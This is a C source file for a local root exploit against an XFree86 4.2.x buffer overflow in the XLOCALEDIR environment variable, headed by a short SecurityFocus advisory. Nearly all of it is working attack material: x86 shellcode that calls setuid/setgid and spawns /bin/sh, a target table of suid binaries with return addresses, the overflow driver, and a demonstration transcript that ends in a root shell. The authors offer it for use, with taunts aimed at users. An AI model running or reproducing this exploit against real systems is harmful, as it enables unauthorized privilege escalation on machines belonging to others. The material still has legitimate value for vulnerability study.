// source: https://www.securityfocus.com/bid/7002/info Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable. A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered. /**** *** ** oC-localX.c - XFree86 Version 4.2.x local root exploit ** By dcryptr && tarranta / oC *** ** Tested against: Slackware 8.1 *** ** This bug was found by tarranta and dcryptr 3 january 2003. ** Its a strcpy in the xf86 libraries that we exploit, using ** the bug to get the root privileges. If you put to much data ** in the XLOCALEDIR environment variable all programs using this ** library will cause a segmnetation fault. Some wierd reason makes ** the program not execute the first 8 bytes of the shellcode. *** ** Demonstration - here we use xlock as the target ** ---------------------------------------------- ** martin@gDeU56:~$ ls -l /usr/X11R6/bin/xlock ** -rws--x--x 1 root bin 2193628 May 30 2002 /usr/X11R6/bin/xlock ** export XLOCALEDIR=`perl -e 'print "A" x 6000'` ** martin@gDeU56:~$ xlock ** Segmentation fault ** eip 0x41414141 0x41414141 ** ** Exploitation: ** martin@gDeU56:~$ ./oC-XFree86-4.2.0 -t 2 ** --- XFree86 Version 4.2.0 / X Window System - local root exploit --- ** [+] by: dcryptr && tarranta ** [+] oC-2003 - http://crionized.net/ ** [+] attacking: /usr/X11R6/bin/xlock ** [+] using ret: 0xbfffe86d ** [+] spawning root shell!!!! ** sh-2.05a# id;uname -a ** uid=0(root) gid=0(root) groups=100(users) ** Linux gDeU56 2.4.18 #4 Fri May 31 01:25:31 PDT 2002 i686 unknown *** ** Remember that there is more than one suid file using this lib. ** /usr/X11R6/bin/xterm ** /usr/X11R6/bin/xscreensaver *** ** This may be vulnerable in other distros!!! ** We are currently making out new targets. look on our page ** for the newest version! *** ** (C) COPYRIGHT oC 2003 ** All Rights Reserved ******************************************************************************************************* ** GREETS: dgram, lonely_, upstream, evilrip *** ****/ #define _GNU_SOURCE #include #include #include #include #include #include #define VERSION "0.9" /* 57 bytes shellcode by dcryptr */ static char shellcode[] = /* setuid(0); (ignored) */ "\x31\xdb" /* xor %ebx,%ebx */ "\x89\xd8" /* mov %ebx,%eax */ "\xb0\x17" /* mov $0x17,%al */ "\xcd\x80" /* int $0x80 */ /* setuid(0); */ "\x31\xdb" /* xor %ebx,%ebx */ "\x89\xd8" /* mov %ebx,%eax */ "\xb0\x17" /* mov $0x17,%al */ "\xcd\x80" /* int $0x80 */ /* setgid(0); */ "\x31\xdb" /* xor %ebx,%ebx */ "\x89\xd8" /* mov %ebx,%eax */ "\xb0\x2e" /* mov $0x2e,%al */ "\xcd\x80" /* int $0x80 */ /* /bin/sh execve(); */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb0\x0b" /* mov $0xb,%al */ "\xcd\x80" /* int $0x80 */ /* exit(0); */ "\x31\xdb" /* xor %ebx,%ebx */ "\x89\xd8" /* mov %ebx,%eax */ "\xb0\x01" /* mov $0x01,%al */ "\xcd\x80"; /* int $0x80 */ struct target { int index; char *distro; char *dest; char *name; u_long retaddr; int LEN; }; /* * There is like 200+ binaries that segfaults to this * vuln but they are not suids. this is all the suids * I found. Soundtracker is a music tracker that I am * using and its vuln to. */ struct target exploit[] = { { 1, "Slackware 8.1 -", "/usr/X11R6/bin/xterm", "xterm", 0xbfffe86d, 6000 }, { 2, "Slackware 8.1 -", "/usr/X11R6/bin/xlock", "xlock", 0xbfffe86d, 6000 }, { 3, "Slackware 8.1 -", "/usr/X11R6/bin/xscreensaver", "xscreensaver", 0xbfffe86e, 6000 }, { 0, NULL, NULL, NULL, 0, 0 } }; void usage(char *cmd); int main(int argc, char **argv) { int i; int type; int size; int options; long retaddr; char buffer[6000]; if(argc == 1) { usage(argv[0]); exit(0); } /* options of this exploit */ while((options = getopt(argc, argv, "ht:")) != EOF) { switch(options) { case 'h': usage(argv[0]); exit(0); case 't': type = atoi(optarg); if (type > 3 || type < 0) { printf("Out of range!!\n"); exit(0); } if (type == 0) { usage(argv[0]); printf("num . description\n" "----+----------------------------------------\n"); for (i = 0; exploit[i].dest; i++) fprintf(stderr, "[%d] | %s %s\n", exploit[i].index, exploit[i].distro, exploit[i].dest); exit(1); } break; default: usage(argv[0]); exit(0); } } size = exploit[type-1].LEN; retaddr = exploit[type-1].retaddr; fprintf(stderr, "\n--- oC-localX "VERSION" - XFree86 Version 4.2.0 local root exploit ---\n" "[+] by: dcryptr && tarranta\n" "[+] oC-2003 - http://crionized.net/\n" "[+] attacking: %s\n" "[+] using ret: 0x%8lx\n" "[+] spawning shell!!!!\n", exploit[type-1].dest, retaddr); for (i = 0; i < size; i += 4) *(long *)&buffer[i] = retaddr; memcpy(buffer + 1, shellcode, strlen(shellcode)); setenv("XLOCALEDIR", buffer, 1); /* seting env variable */ if ( (execl(exploit[type-1].dest, exploit[type-1].name, NULL)) == -1) { fprintf(stderr, "Try another target, you scriptkid!\n\n"); exit(-1); } return(0); } void usage(char *cmd) { fprintf(stderr, "\n--- oC-localX "VERSION" - XFree86 Version 4.2.0 local root exploit ---\n" "by dcryptr && tarranta\n" "oC-2003 - http://crionized.net/\n\n" "usage: %s [-h] [-t ]\n" "__options\n" " -h\t- this help\n" " -t num\t- choose target (0 for list)\n\n", cmd); }